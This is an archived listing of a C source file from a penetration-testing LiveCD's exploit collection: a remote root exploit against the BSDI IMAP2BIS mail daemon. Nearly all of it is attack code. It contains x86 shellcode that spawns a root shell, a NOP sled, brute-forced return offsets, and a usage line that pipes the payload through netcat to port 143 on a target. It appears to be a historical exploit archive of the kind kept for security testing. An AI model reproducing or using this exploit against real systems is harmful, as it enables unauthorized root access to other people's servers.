home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / imapd / imap2bis.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  70 lines

  1. /*
  2.  
  3.   BSDI IMAP2BIS remote root exploit
  4.  
  5.   Usage:   (./imapx <offset>;cat)| nc targethost 143
  6.            
  7.              where offset = -1000..1000  (brute force if 0 doesnt work) 
  8.  
  9.   Note:
  10.           if you plan to port this to other OS., make sure the
  11.           shellcode doesn't contain lower case chars since imapd
  12.           will toupper() the shellcode, thus fucking it up.
  13.   Note:
  14.           I tested this on a few system's and found this offsets vulnerable
  15.  
  16. */
  17.  
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <limits.h>
  21. #include <string.h>
  22.  
  23. #define BUFLEN 4092
  24. #define NOP 0x90
  25.  
  26. char shell[] =
  27.  
  28.   "\xeb\x58\x5e"
  29.   "\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26"
  30.   "\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8"
  31.   "\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2"
  32.   "\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31"
  33.   "\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31"
  34.   "\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1"
  35.   "\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83"
  36.   "\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
  37.   "\x42\x49\x4e\x2f\x53\x48\x00";
  38.  
  39. void
  40. main (int argc, char *argv[])
  41. {
  42.   char buf[BUFLEN];
  43.   int offset,nop,i;
  44.   unsigned long esp;
  45.   char shell[1024+300];
  46.  
  47.   fprintf(stderr,"usage: %s <offset>\n", argv[0]);
  48.  
  49.   nop = 403;
  50.   esp = 0xefbfd5e8;
  51.   offset = atoi(argv[1]);
  52.  
  53.   memset(buf, NOP, BUFLEN);
  54.   memcpy(buf+(long)nop, shell, strlen(shell));
  55.  
  56.   for (i = 1024; i < BUFLEN - 3; i += 2)
  57.     {
  58.       *((int *) &buf[i]) = esp + (long) offset;
  59.       shell[ sizeof(shell)-1 ] = 0;
  60.     }
  61.  
  62.   printf("{%d} AUTH\r\n", BUFLEN);
  63.   for (i = 0; i < BUFLEN; i++)
  64.     putchar(buf[i]);
  65.  
  66.   printf("\r\n");
  67.  
  68.   return;
  69. }
  70. /*                    www.hack.co.za              [2000]*/